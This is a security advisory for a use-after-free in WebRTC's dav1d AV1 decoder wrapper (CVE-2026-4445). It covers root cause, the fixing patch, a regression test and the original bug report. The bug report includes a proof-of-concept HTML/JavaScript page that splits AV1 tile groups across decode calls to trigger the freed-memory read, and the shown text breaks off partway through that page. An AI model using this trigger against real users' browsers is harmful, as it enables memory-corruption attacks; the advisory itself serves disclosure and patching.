CVE-2026-4445
Overview
Background
- `Dav1dDecoder`
- WebRTC’s software AV1 video decoder wrapper (
dav1d_decoder.cc) that feeds each receivedEncodedImageto the dav1d library viadav1d_send_dataand pulls decoded pictures back out. - `dav1d_data_wrap`
- dav1d API that wraps a caller-owned bitstream buffer in a
Dav1dDatawithout copying; dav1d may keep referencing that memory afterdav1d_send_datareturns and signals it is done by invoking the suppliedfree_callbackwith the givenuser_data. - `EncodedImageBufferInterface`
- WebRTC’s ref-counted owner of an encoded frame’s bytes;
encoded_image.GetEncodedData()returns ascoped_refptrto it, and the bytes stay alive only while some reference is held. - `ScopedDav1dData`
- a local RAII holder for the
Dav1dDatapassed to dav1d in the decode routine.
Root Cause Analysis
Before the patch, the decode routine in dav1d_decoder.cc (the enclosing function name is not shown in the hunk header) called dav1d_data_wrap(&dav1d_data, encoded_image.data(), encoded_image.size(), &NullFreeCallback, nullptr), where NullFreeCallback was an empty function whose own comment said it existed only because “Calling dav1d_data_wrap requires a free_callback to be registered”. This told dav1d it could retain the wrapped bitstream until it called the free callback, but WebRTC took no reference on the underlying EncodedImageBufferInterface, so the bytes could be freed as soon as the EncodedImage was released after Decode returned while dav1d still held a pointer into them.
The added regression test FailDecoderOnTiles feeds two partial tile payloads (kTile0, then kTile1) in consecutive Decode calls and is described as a buffer-management test “detected by running this test under ASAN”, consistent with dav1d dereferencing the first call’s retained data during the second call after it was freed (exact retention path inside dav1d is inferred).
The fix takes ownership of a reference by calling encoded_image.GetEncodedData().release(), passes that raw EncodedImageBufferInterface* as user_data, and supplies a free_callback lambda that calls Release() on it, so the buffer lives exactly as long as dav1d needs it; NullFreeCallback is deleted.
EncodedImage rather than to dav1d’s use; the fix pins the EncodedImageBufferInterface with an extra reference that is dropped only from dav1d’s free_callback.Attack Path
- Establish an AV1 receive stream
A remote WebRTC peer sends AV1 video that is decoded in software by
Dav1dDecoder(inferred: when this decoder is selected for the receive stream). - Send data dav1d retains
The peer sends a frame payload that dav1d does not fully consume in one call, such as the partial tile data in the regression test’s
kTile0, so dav1d keeps a pointer into the wrapped bitstream. - Buffer freed by WebRTC
After
Decodereturns, theEncodedImageand itsEncodedImageBufferInterfaceare released; pre-patch nothing kept the bytes alive becauseNullFreeCallbackdid nothing and no reference was taken. - Use after free
On the next
Decodecall (the test’skTile1), dav1d reads the retained, now-freed bitstream memory; turning this into memory corruption or code execution is (inferred).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
TESTmodules/video_coding/codecs/av1/dav1d_decoder_unittest.cc |
modified |
Files Changed
modules/video_coding/codecs/av1/dav1d_decoder.ccmodules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
Audit Directions
- Zero-copy wraps with no-op free callbacksSearch for
dav1d_data_wrap,dav1d_data_wrap_user_data, and similar “wrap external buffer” APIs in other codec integrations (libaom, libvpx frame buffers, ffmpegav_buffer_create) where the free/release callback is empty and no reference is taken on the source buffer. - Decoder state carried across callsAudit decoders that may buffer partial frames, tiles or OBUs between
Decodecalls and verify that any retained input pointers are backed by an owning reference rather than the caller’s transientEncodedImage. - Manual refcount transferWhere code uses
scoped_refptr::release()to hand a reference to a C callback, confirm the callback is guaranteed to run exactly once on every path (including error returns fromdav1d_send_data, flush and decoder destruction) to avoid leaks or double releases.
Patch
From fcea1cf20ab03a15d2ca702629208e965edb3990 Mon Sep 17 00:00:00 2001
From: Philip Eliasson <philipel@webrtc.org>
Date: Wed, 04 Mar 2026 13:51:43 +0100
Subject: [PATCH] Let dav1d retain references to wrapped bitstream buffers.
Bug: chromium:486421953
Change-Id: I855616d8206711b371df05a306730468ec8d23e7
Reviewed-on: https://webrtc-review.googlesource.com/c/src/+/453200
Commit-Queue: Philip Eliasson <philipel@webrtc.org>
Reviewed-by: Erik Språng <sprang@webrtc.org>
Cr-Commit-Position: refs/heads/main@{#47051}
---
diff --git a/modules/video_coding/codecs/av1/dav1d_decoder.cc b/modules/video_coding/codecs/av1/dav1d_decoder.cc
index 7a52dfa..9356dcb 100644
--- a/modules/video_coding/codecs/av1/dav1d_decoder.cc
+++ b/modules/video_coding/codecs/av1/dav1d_decoder.cc
@@ -82,9 +82,6 @@
constexpr char kDav1dName[] = "dav1d";
-// Calling `dav1d_data_wrap` requires a `free_callback` to be registered.
-void NullFreeCallback(const uint8_t* /* buffer */, void* /* opaque */) {}
-
Dav1dDecoder::Dav1dDecoder() = default;
Dav1dDecoder::Dav1dDecoder(const Environment& env)
@@ -142,9 +139,25 @@
ScopedDav1dData scoped_dav1d_data;
Dav1dData& dav1d_data = scoped_dav1d_data.Data();
- dav1d_data_wrap(&dav1d_data, encoded_image.data(), encoded_image.size(),
- /*free_callback=*/&NullFreeCallback,
- /*user_data=*/nullptr);
+
+ // Calling GetEncodedData will create a new `scoped_refptr` and increment the
+ // ref count. By simply releasing we are now responsible for decrementing
+ // the ref count when appropriate, which is when dav1d calls the
+ // `free_callback` to indicate that the buffer is no longer needed.
+ EncodedImageBufferInterface* bitstream_buffer =
+ encoded_image.GetEncodedData().release();
+
+ // Note that the `bitstream_buffer` can have a higher capacity than what is
+ // actually being used, so `encoded_image.size()` should be used to get the
+ // actual size of the bitstream.
+ dav1d_data_wrap(
+ &dav1d_data, encoded_image.data(), encoded_image.size(),
+ /*free_callback=*/
+ [](const uint8_t* /* buffer */, void* user_data) {
+ auto* bb = static_cast<EncodedImageBufferInterface*>(user_data);
+ bb->Release();
+ },
+ /*user_data=*/bitstream_buffer);
if (int decode_res = dav1d_send_data(context_, &dav1d_data)) {
RTC_LOG(LS_WARNING)
diff --git a/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc b/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
index 1c6477b..217edc1 100644
--- a/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
+++ b/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
@@ -67,13 +67,9 @@
TestAv1Decoder(const TestAv1Decoder&) = delete;
TestAv1Decoder& operator=(const TestAv1Decoder&) = delete;
- void Decode(const EncodedImage& image) {
- ASSERT_THAT(decoder_, NotNull());
+ int32_t Decode(const EncodedImage& image) {
decoded_frame_ = std::nullopt;
- int32_t error =
- decoder_->Decode(image, /*render_time_ms=*/image.capture_time_ms_);
- ASSERT_EQ(error, WEBRTC_VIDEO_CODEC_OK);
- ASSERT_THAT(decoded_frame_, Not(Eq(std::nullopt)));
+ return decoder_->Decode(image, /*render_time_ms=*/image.capture_time_ms_);
}
VideoFrame& decoded_frame() { return *decoded_frame_; }
@@ -95,8 +91,9 @@
TEST(Dav1dDecoderTest, KeepsDecodedResolutionByDefault) {
TestAv1Decoder decoder(CreateEnvironment());
- decoder.Decode(
- CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+ EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+ kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+ WEBRTC_VIDEO_CODEC_OK);
EXPECT_EQ(decoder.decoded_frame().width(), 36);
EXPECT_EQ(decoder.decoded_frame().height(), 20);
}
@@ -104,8 +101,9 @@
TEST(Dav1dDecoderTest, CropsToRenderResolutionWhenCropIsEnabled) {
TestAv1Decoder decoder(CreateEnvironment(CreateTestFieldTrialsPtr(
"WebRTC-Dav1dDecoder-CropToRenderResolution/Enabled/")));
- decoder.Decode(
- CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+ EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+ kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+ WEBRTC_VIDEO_CODEC_OK);
EXPECT_EQ(decoder.decoded_frame().width(), 32);
EXPECT_EQ(decoder.decoded_frame().height(), 16);
}
@@ -113,16 +111,18 @@
TEST(Dav1dDecoderTest, DoesNotCropToRenderResolutionWhenCropIsDisabled) {
TestAv1Decoder decoder(CreateEnvironment(CreateTestFieldTrialsPtr(
"WebRTC-Dav1dDecoder-CropToRenderResolution/Disabled/")));
- decoder.Decode(
- CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+ EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+ kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+ WEBRTC_VIDEO_CODEC_OK);
EXPECT_EQ(decoder.decoded_frame().width(), 36);
EXPECT_EQ(decoder.decoded_frame().height(), 20);
}
TEST(Dav1dDecoderTest, SetsColorSpaceOnDecodedFrame) {
TestAv1Decoder decoder(CreateEnvironment());
- decoder.Decode(
- CreateEncodedImage(kAv1FrameWithBT709FullRangeColorSpace));
+ EXPECT_EQ(
+ decoder.Decode(CreateEncodedImage(kAv1FrameWithBT709FullRangeColorSpace)),
+ WEBRTC_VIDEO_CODEC_OK);
auto color_space = decoder.decoded_frame().color_space();
EXPECT_TRUE(color_space.has_value());
EXPECT_EQ(color_space->primaries(), ColorSpace::PrimaryID::kBT709);
@@ -131,6 +131,37 @@
EXPECT_EQ(color_space->range(), ColorSpace::RangeID::kFull);
}
+TEST(Dav1dDecoderTest, FailDecoderOnTiles) {
+ // This test tests buffer management, any failures would be detected
+ // by running this test under ASAN.
+ static constexpr uint8_t kTile0[] = {
+ 0x0a, 0x0a, 0x00, 0x00, 0x00, 0x04, 0x3c, 0xff, 0xbc, 0x01, 0xa0, 0x08,
+ 0x32, 0xbd, 0x01, 0x10, 0x60, 0xb0, 0x01, 0xa6, 0x9a, 0x68, 0x50, 0x91,
+ 0xb0, 0x80, 0xb0, 0xd9, 0x8a, 0x40, 0xe4, 0x3e, 0xfb, 0x06, 0x1f, 0x0e,
+ 0xcc, 0xdc, 0xcb, 0x8c, 0x2d, 0x5c, 0xb0, 0x52, 0xe0, 0xb3, 0x89, 0x2b,
+ 0x6b, 0x8b, 0x56, 0xd3, 0x0a, 0x70, 0xad, 0x26, 0xf0, 0xca, 0xfa, 0xad,
+ 0x27, 0xcc, 0x5b, 0x8c, 0x0c, 0x72, 0x76, 0xa7, 0x42, 0x69, 0x4c, 0x47,
+ 0xf4, 0x2b, 0xa9, 0x5e, 0x13, 0x81, 0x69, 0x47, 0x40, 0x13, 0x3e, 0xac,
+ 0xef, 0x0f, 0x74, 0x02, 0x79, 0xa7, 0x50, 0xf4, 0x50, 0x82, 0x4d, 0x4f,
+ 0x70, 0x02, 0x9c, 0x0f, 0x61, 0xbc, 0x1c, 0x22, 0xc2, 0xac, 0x9f, 0x88,
+ 0xbd, 0x2a, 0xdc, 0xdb, 0xf0, 0xbe, 0x95, 0x54, 0x6e, 0xda, 0x08, 0x76,
+ 0x2c, 0x86, 0xd2, 0x0f, 0x86, 0xc1, 0x86, 0xcb, 0x98, 0x35, 0xfc, 0x2c,
+ 0xe7, 0x51, 0x44, 0x62, 0xfe, 0xf1, 0x97, 0x1f, 0xb0, 0x7f, 0x14, 0xc4,
+ 0xef, 0xb0, 0x01, 0x7c, 0x07, 0x22, 0x3e, 0xda, 0x2b, 0xef, 0x59, 0xcc,
+ 0x57, 0x65, 0xc5, 0x22, 0xe9, 0x61, 0x99, 0x0c, 0xd6, 0x07, 0x68, 0x1a,
+ 0x26, 0xad, 0x9b, 0x1e, 0x91, 0x2c, 0xee, 0xe2, 0xe4, 0x7c, 0x4d, 0x07,
+ 0x51, 0x72, 0x89, 0x51, 0xbf, 0x17, 0x67, 0xc0, 0x6d, 0x02, 0x69, 0x92,
+ 0x20, 0x7b, 0xeb, 0x11, 0xea, 0xc1, 0x43, 0x59, 0x4f, 0x75, 0xbb, 0x20};
+ static constexpr uint8_t kTile1[] = {
+ 0x22, 0x1e, 0xe0, 0xc1, 0xb6, 0x2f, 0x07, 0xd0, 0x0b, 0xaf, 0x14,
+ 0xbf, 0x51, 0xa3, 0x0d, 0xf4, 0xb6, 0x45, 0xd8, 0x16, 0xda, 0x8c,
+ 0xb0, 0xbf, 0x29, 0x39, 0xdf, 0x9a, 0x9e, 0x9c, 0x69, 0x80};
+
+ TestAv1Decoder decoder(CreateEnvironment());
+ decoder.Decode(CreateEncodedImage(kTile0));
+ decoder.Decode(CreateEncodedImage(kTile1));
+}
+
} // namespace
} // namespace test
} // namespace webrtc
Regression Test / PoC
diff --git a/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc b/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
index 1c6477b..217edc1 100644
--- a/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
+++ b/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
@@ -67,13 +67,9 @@
TestAv1Decoder(const TestAv1Decoder&) = delete;
TestAv1Decoder& operator=(const TestAv1Decoder&) = delete;
- void Decode(const EncodedImage& image) {
- ASSERT_THAT(decoder_, NotNull());
+ int32_t Decode(const EncodedImage& image) {
decoded_frame_ = std::nullopt;
- int32_t error =
- decoder_->Decode(image, /*render_time_ms=*/image.capture_time_ms_);
- ASSERT_EQ(error, WEBRTC_VIDEO_CODEC_OK);
- ASSERT_THAT(decoded_frame_, Not(Eq(std::nullopt)));
+ return decoder_->Decode(image, /*render_time_ms=*/image.capture_time_ms_);
}
VideoFrame& decoded_frame() { return *decoded_frame_; }
@@ -95,8 +91,9 @@
TEST(Dav1dDecoderTest, KeepsDecodedResolutionByDefault) {
TestAv1Decoder decoder(CreateEnvironment());
- decoder.Decode(
- CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+ EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+ kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+ WEBRTC_VIDEO_CODEC_OK);
EXPECT_EQ(decoder.decoded_frame().width(), 36);
EXPECT_EQ(decoder.decoded_frame().height(), 20);
}
@@ -104,8 +101,9 @@
TEST(Dav1dDecoderTest, CropsToRenderResolutionWhenCropIsEnabled) {
TestAv1Decoder decoder(CreateEnvironment(CreateTestFieldTrialsPtr(
"WebRTC-Dav1dDecoder-CropToRenderResolution/Enabled/")));
- decoder.Decode(
- CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+ EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+ kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+ WEBRTC_VIDEO_CODEC_OK);
EXPECT_EQ(decoder.decoded_frame().width(), 32);
EXPECT_EQ(decoder.decoded_frame().height(), 16);
}
@@ -113,16 +111,18 @@
TEST(Dav1dDecoderTest, DoesNotCropToRenderResolutionWhenCropIsDisabled) {
TestAv1Decoder decoder(CreateEnvironment(CreateTestFieldTrialsPtr(
"WebRTC-Dav1dDecoder-CropToRenderResolution/Disabled/")));
- decoder.Decode(
- CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+ EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+ kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+ WEBRTC_VIDEO_CODEC_OK);
EXPECT_EQ(decoder.decoded_frame().width(), 36);
EXPECT_EQ(decoder.decoded_frame().height(), 20);
}
TEST(Dav1dDecoderTest, SetsColorSpaceOnDecodedFrame) {
TestAv1Decoder decoder(CreateEnvironment());
- decoder.Decode(
- CreateEncodedImage(kAv1FrameWithBT709FullRangeColorSpace));
+ EXPECT_EQ(
+ decoder.Decode(CreateEncodedImage(kAv1FrameWithBT709FullRangeColorSpace)),
+ WEBRTC_VIDEO_CODEC_OK);
auto color_space = decoder.decoded_frame().color_space();
EXPECT_TRUE(color_space.has_value());
EXPECT_EQ(color_space->primaries(), ColorSpace::PrimaryID::kBT709);
@@ -131,6 +131,37 @@
EXPECT_EQ(color_space->range(), ColorSpace::RangeID::kFull);
}
+TEST(Dav1dDecoderTest, FailDecoderOnTiles) {
+ // This test tests buffer management, any failures would be detected
+ // by running this test under ASAN.
+ static constexpr uint8_t kTile0[] = {
+ 0x0a, 0x0a, 0x00, 0x00, 0x00, 0x04, 0x3c, 0xff, 0xbc, 0x01, 0xa0, 0x08,
+ 0x32, 0xbd, 0x01, 0x10, 0x60, 0xb0, 0x01, 0xa6, 0x9a, 0x68, 0x50, 0x91,
+ 0xb0, 0x80, 0xb0, 0xd9, 0x8a, 0x40, 0xe4, 0x3e, 0xfb, 0x06, 0x1f, 0x0e,
+ 0xcc, 0xdc, 0xcb, 0x8c, 0x2d, 0x5c, 0xb0, 0x52, 0xe0, 0xb3, 0x89, 0x2b,
+ 0x6b, 0x8b, 0x56, 0xd3, 0x0a, 0x70, 0xad, 0x26, 0xf0, 0xca, 0xfa, 0xad,
+ 0x27, 0xcc, 0x5b, 0x8c, 0x0c, 0x72, 0x76, 0xa7, 0x42, 0x69, 0x4c, 0x47,
+ 0xf4, 0x2b, 0xa9, 0x5e, 0x13, 0x81, 0x69, 0x47, 0x40, 0x13, 0x3e, 0xac,
+ 0xef, 0x0f, 0x74, 0x02, 0x79, 0xa7, 0x50, 0xf4, 0x50, 0x82, 0x4d, 0x4f,
+ 0x70, 0x02, 0x9c, 0x0f, 0x61, 0xbc, 0x1c, 0x22, 0xc2, 0xac, 0x9f, 0x88,
+ 0xbd, 0x2a, 0xdc, 0xdb, 0xf0, 0xbe, 0x95, 0x54, 0x6e, 0xda, 0x08, 0x76,
+ 0x2c, 0x86, 0xd2, 0x0f, 0x86, 0xc1, 0x86, 0xcb, 0x98, 0x35, 0xfc, 0x2c,
+ 0xe7, 0x51, 0x44, 0x62, 0xfe, 0xf1, 0x97, 0x1f, 0xb0, 0x7f, 0x14, 0xc4,
+ 0xef, 0xb0, 0x01, 0x7c, 0x07, 0x22, 0x3e, 0xda, 0x2b, 0xef, 0x59, 0xcc,
+ 0x57, 0x65, 0xc5, 0x22, 0xe9, 0x61, 0x99, 0x0c, 0xd6, 0x07, 0x68, 0x1a,
+ 0x26, 0xad, 0x9b, 0x1e, 0x91, 0x2c, 0xee, 0xe2, 0xe4, 0x7c, 0x4d, 0x07,
+ 0x51, 0x72, 0x89, 0x51, 0xbf, 0x17, 0x67, 0xc0, 0x6d, 0x02, 0x69, 0x92,
+ 0x20, 0x7b, 0xeb, 0x11, 0xea, 0xc1, 0x43, 0x59, 0x4f, 0x75, 0xbb, 0x20};
+ static constexpr uint8_t kTile1[] = {
+ 0x22, 0x1e, 0xe0, 0xc1, 0xb6, 0x2f, 0x07, 0xd0, 0x0b, 0xaf, 0x14,
+ 0xbf, 0x51, 0xa3, 0x0d, 0xf4, 0xb6, 0x45, 0xd8, 0x16, 0xda, 0x8c,
+ 0xb0, 0xbf, 0x29, 0x39, 0xdf, 0x9a, 0x9e, 0x9c, 0x69, 0x80};
+
+ TestAv1Decoder decoder(CreateEnvironment());
+ decoder.Decode(CreateEncodedImage(kTile0));
+ decoder.Decode(CreateEncodedImage(kTile1));
+}
+
} // namespace
} // namespace test
} // namespace webrtc
Original Bug Report
Use-after-free in WebRTC dav1d AV1 decoder due to missing buffer lifetime management leads to heap read of freed memory
Title
Use-after-free in WebRTC dav1d AV1 decoder due to missing buffer lifetime management leads to heap read of freed memory
Summary
The WebRTC dav1d AV1 decoder wrapper (Dav1dDecoder::Decode) uses dav1d_data_wrap() with a no-op NullFreeCallback to pass encoded frame data to dav1d, without retaining a reference to the underlying EncodedImage buffer. When dav1d receives an AV1 bitstream containing partial tile groups, it internally saves data pointers into its c->tile[] array via dav1d_data_ref(), expecting the buffer to remain valid across subsequent dav1d_send_data calls. After Decode() returns, the caller destroys the RtpFrameObject, which releases the EncodedImageBuffer. On a subsequent Decode() call that completes the tile group, dav1d reads through the now dangling tile data pointer, resulting in a heap use-after-free.
Bisect
Introducing Commit: b09d87232b8948cebb39174e2a74e24943e5d312 (WebRTC repository)
- Date: 2021-11-23
- Author: philipel (philipel@webrtc.org)
- Review: https://webrtc-review.googlesource.com/c/src/+/238661
This is the reland of the original “Add dav1d decoder to WebRTC” commit. The NullFreeCallback pattern and the associated lifetime gap have existed since the initial introduction of the dav1d decoder wrapper.
Root Cause
The dav1d library’s data input API, dav1d_data_wrap(), accepts a raw pointer to encoded bitstream data along with a free_callback that dav1d invokes when it no longer needs the buffer. This callback mechanism is dav1d’s sole mechanism for the caller to manage the lifetime of the wrapped buffer. The WebRTC integration in dav1d_decoder.cc registers a no-op callback:
// third_party/webrtc/modules/video_coding/codecs/av1/dav1d_decoder.cc
// Calling `dav1d_data_wrap` requires a `free_callback` to be registered.
void NullFreeCallback(const uint8_t* /* buffer */, void* /* opaque */) {}
This means that dav1d’s internal reference counting on the wrapped data has no effect on the actual buffer lifetime. The Decode method wraps the EncodedImage data pointer directly without retaining any reference to the buffer:
// third_party/webrtc/modules/video_coding/codecs/av1/dav1d_decoder.cc
int32_t Dav1dDecoder::Decode(const EncodedImage& encoded_image,
int64_t /*render_time_ms*/) {
// ...
ScopedDav1dData scoped_dav1d_data;
Dav1dData& dav1d_data = scoped_dav1d_data.Data();
dav1d_data_wrap(&dav1d_data, encoded_image.data(), encoded_image.size(),
/*free_callback=*/&NullFreeCallback,
/*user_data=*/nullptr);
if (int decode_res = dav1d_send_data(context_, &dav1d_data)) {
return WEBRTC_VIDEO_CODEC_ERROR;
}
// ...
}
The AV1 bitstream format allows tile group data to be split across multiple OBUs. When dav1d parses an OBU_TILE_GRP (or the tile group portion of an OBU_FRAME), it saves a reference to the tile data in its internal c->tile[] array:
// third_party/dav1d/libdav1d/src/obu.c (parse_obus, case DAV1D_OBU_TILE_GRP)
dav1d_data_ref(&c->tile[c->n_tile_data].data, in);
c->tile[c->n_tile_data].data.data = gb.ptr;
c->tile[c->n_tile_data].data.sz = (size_t)(gb.ptr_end - gb.ptr);
If not all tiles for a frame have been received (for example, a 2-tile frame where only tile 0 arrives in the first chunk), dav1d returns EAGAIN from dav1d_get_picture() and the c->tile[] references persist. The Decode() method returns WEBRTC_VIDEO_CODEC_ERROR, and the caller (VideoReceiveStream2::DecodeAndMaybeDispatchEncodedFrame) proceeds to destroy the unique_ptr<EncodedFrame>, which releases the underlying EncodedImageBuffer:
freed by thread T4 (ThreadPoolForeg):
operator delete[]
EncodedImageBuffer::~RefCountedObject
EncodedImage::~EncodedImage
RtpFrameObject::~RtpFrameObject
VideoReceiveStream2::DecodeAndMaybeDispatchEncodedFrame
At this point, dav1d’s c->tile[0].data still contains a pointer into the now freed EncodedImageBuffer. When a subsequent Decode() call delivers the remaining tile group, dav1d has all tiles collected and calls dav1d_submit_frame, which reads through the stale pointer during CDF initialization in dav1d_msac_init.
It is worth noting that Chrome’s media pipeline has a separate dav1d integration (media/filters/dav1d_video_decoder.cc) that handles this correctly by using ReleaseDecoderBuffer as the free callback and calling buffer->AddRef() to prevent premature destruction:
// media/filters/dav1d_video_decoder.cc
static void ReleaseDecoderBuffer(const uint8_t* buffer, void* opaque) {
if (opaque)
static_cast<DecoderBuffer*>(opaque)->Release();
}
The WebRTC wrapper never adopted this pattern. Additionally, after a decode error, the WebRTC stack does not reset or flush the dav1d decoder context. VCMGenericDecoder::Decode only calls ClearTimestampMap() on error, and c->frame_hdr persists across calls inside dav1d, so a subsequent tile group OBU is accepted without needing a new frame header. The ASAN report confirms the absence of MiraclePtr protection on this path: “MiraclePtr Status: NOT PROTECTED”.
Reproduce
Save the following HTML file and open it in a Chromium ASAN build with AV1 WebRTC support:
ASAN_OPTIONS=detect_odr_violation=0 ./out/asan-release/chrome \
--no-sandbox --disable-gpu --enable-logging=stderr \
--autoplay-policy=no-user-gesture-required \
--user-data-dir=/tmp/poc-test poc.html
<!DOCTYPE html>
<html>
<head>
<title> PoC - dav1d Tile Group UAF</title>
</head>
<body>
<h3>WRTC-065: dav1d Decoder Input Buffer Lifetime UAF</h3>
<canvas id="c" width="320" height="240" style="display:none;"></canvas>
<pre id="log"></pre>
<script>
// ============================================================
// PoC: dav1d tile group UAF via WebRTC
//
// Strategy: Intercept first real AV1 keyframe from encoder,
// parse its OBU structure, and split into two chunks:
// Chunk 1: SeqHdr + OBU_FRAME_HDR (from real data) + OBU_TILE_GRP(tile 0)
// Chunk 2: OBU_TILE_GRP(tile 1)
// This causes dav1d to save tile 0 data across Decode() calls
// while the underlying buffer is freed -> UAF.
// ============================================================
function log(msg) {
const el = document.getElementById('log');
el.textContent += msg + '\n';
console.log(msg);
}
// === leb128 encoder/decoder ===
function readLeb128(data, offset) {
let value = 0;
let bytesRead = 0;
for (let i = 0; i < 8; i++) {
const b = data[offset + i];
value |= (b & 0x7F) << (7 * i);
bytesRead++;
if (!(b & 0x80)) break;
}
return { value, bytesRead };
}
function encodeLeb128(value) {
const bytes = [];
do {
let b = value & 0x7F;
value >>= 7;
if (value > 0) b |= 0x80;
bytes.push(b);
} while (value > 0);
return new Uint8Array(bytes);
}
// === AV1 OBU parser ===
function parseOBUs(data) {
const obus = [];
let offset = 0;
while (offset < data.length) {
const headerByte = data[offset];
const type = (headerByte >> 3) & 0x0F;
const hasExtension = (headerByte >> 2) & 1;
const hasSize = (headerByte >> 1) & 1;
const headerSize = 1 + (hasExtension ? 1 : 0);
let payloadOffset = offset + headerSize;
let payloadSize;
let sizeFieldLen = 0;
if (hasSize) {
const r = readLeb128(data, payloadOffset);
payloadSize = r.value;
sizeFieldLen = r.bytesRead;
payloadOffset += sizeFieldLen;
} else {
payloadSize = data.length - payloadOffset;
}
obus.push({
type,
offset,
headerSize,
sizeFieldLen,
payloadOffset,
payloadSize,
totalSize: payloadOffset - offset + payloadSize,
headerByte,
});
offset += payloadOffset - offset + payloadSize;
if (offset <= obus[obus.length-1].offset) break; // safety
}
return obus;
}
// === SDP manipulation to prefer AV1 ===
function preferAV1(sdp) {
const lines = sdp.split('\r\n');
const result = [];
let av1Pts = [];
for (const line of lines) {
const match = line.match(/^a=rtpmap:(\d+)\s+AV1\//i);
if (match) av1Pts.push(match[1]);
}
if (av1Pts.length === 0) return sdp;
for (const line of lines) {
if (line.startsWith('m=video')) {
const parts = line.split(' ');
const pts = parts.slice(3);
const reordered = [...av1Pts, ...pts.filter(pt => !av1Pts.includes(pt))];
result.push([...parts.slice(0, 3), ...reordered].join(' '));
} else {
result.push(line);
}
}
return result.join('\r\n');
}
// === Main PoC ===
async function runPoc() {
try {
log('[*] WRTC-065: dav1d Tile Group UAF PoC');
log('[*] Strategy: Split real AV1 keyframe tile groups across Decode() calls');
// Canvas video source
const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');
let frameNum = 0;
function draw() {
ctx.fillStyle = `hsl(${frameNum % 360}, 70%, 50%)`;
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = 'white';
ctx.font = '30px monospace';
ctx.fillText(`F${frameNum}`, 10, 40);
frameNum++;
requestAnimationFrame(draw);
}
draw();
const stream = canvas.captureStream(30);
const videoTrack = stream.getVideoTracks()[0];
log('[+] Video source created (320x240)');
const pc1 = new RTCPeerConnection({ bundlePolicy: 'max-bundle' });
const pc2 = new RTCPeerConnection({
bundlePolicy: 'max-bundle',
encodedInsertableStreams: true
});
pc1.onicecandidate = e => { if (e.candidate) pc2.addIceCandidate(e.candidate); };
pc2.onicecandidate = e => { if (e.candidate) pc1.addIceCandidate(e.candidate); };
pc1.addTrack(videoTrack, stream);
// Set AV1 codec preference on sender
const senderTransceiver = pc1.getTransceivers()[0];
if (senderTransceiver && senderTransceiver.setCodecPreferences) {
const caps = RTCRtpSender.getCapabilities('video');
if (caps) {
const av1Codecs = caps.codecs.filter(c =>
c.mimeType.toLowerCase() === 'video/av1'
);
if (av1Codecs.length > 0) {
senderTransceiver.setCodecPreferences(av1Codecs);
log('[+] AV1 codec preference set');
}
}
}
// Receiver-side transform
pc2.ontrack = (event) => {
log('[+] Receiver got track: ' + event.track.kind);
if (event.track.kind !== 'video') return;
const receiver = event.receiver;
// Build worker code with AV1 parsing logic
const workerCode = `
// === leb128 reader ===
function readLeb128(data, offset) {
let value = 0;
let bytesRead = 0;
for (let i = 0; i < 8; i++) {
const b = data[offset + i];
value |= (b & 0x7F) << (7 * i);
bytesRead++;
if (!(b & 0x80)) break;
}
return { value, bytesRead };
}
function encodeLeb128(value) {
const bytes = [];
do {
let b = value & 0x7F;
value >>= 7;
if (value > 0) b |= 0x80;
bytes.push(b);
} while (value > 0);
return new Uint8Array(bytes);
}
// === AV1 OBU parser ===
function parseOBUs(data) {
const obus = [];
let offset = 0;
while (offset < data.length) {
const headerByte = data[offset];
const type = (headerByte >> 3) & 0x0F;
const hasExtension = (headerByte >> 2) & 1;
const hasSize = (headerByte >> 1) & 1;
const headerSize = 1 + (hasExtension ? 1 : 0);
let payloadOffset = offset + headerSize;
let payloadSize;
let sizeFieldLen = 0;
if (hasSize) {
const r = readLeb128(data, payloadOffset);
payloadSize = r.value;
sizeFieldLen = r.bytesRead;
payloadOffset += sizeFieldLen;
} else {
payloadSize = data.length - payloadOffset;
}
obus.push({
type, offset, headerSize, sizeFieldLen, payloadOffset,
payloadSize, totalSize: payloadOffset - offset + payloadSize,
headerByte,
});
offset = payloadOffset + payloadSize;
if (offset <= obus[obus.length-1].offset) break;
}
return obus;
}
let state = 'WAITING_KEYFRAME';
let savedChunk2 = null;
let frameCount = 0;
// Read N-byte little-endian integer
function readLE(data, offset, nBytes) {
let val = 0;
for (let i = 0; i < nBytes; i++) {
val |= data[offset + i] << (8 * i);
}
return val;
}
// Auto-detect n_bytes (tile_size_bytes) by trying 1,2,3,4
function detectNBytes(data, tileDataStart, tileDataEnd) {
const totalTileData = tileDataEnd - tileDataStart;
for (let n = 1; n <= 4; n++) {
if (tileDataStart + n > tileDataEnd) continue;
const tile0SizeMinus1 = readLE(data, tileDataStart, n);
const tile0Size = tile0SizeMinus1 + 1;
const tile1Size = totalTileData - n - tile0Size;
// Both tiles must have positive, reasonable sizes
if (tile0Size > 0 && tile1Size > 0 &&
tile0Size < totalTileData && tile1Size < totalTileData) {
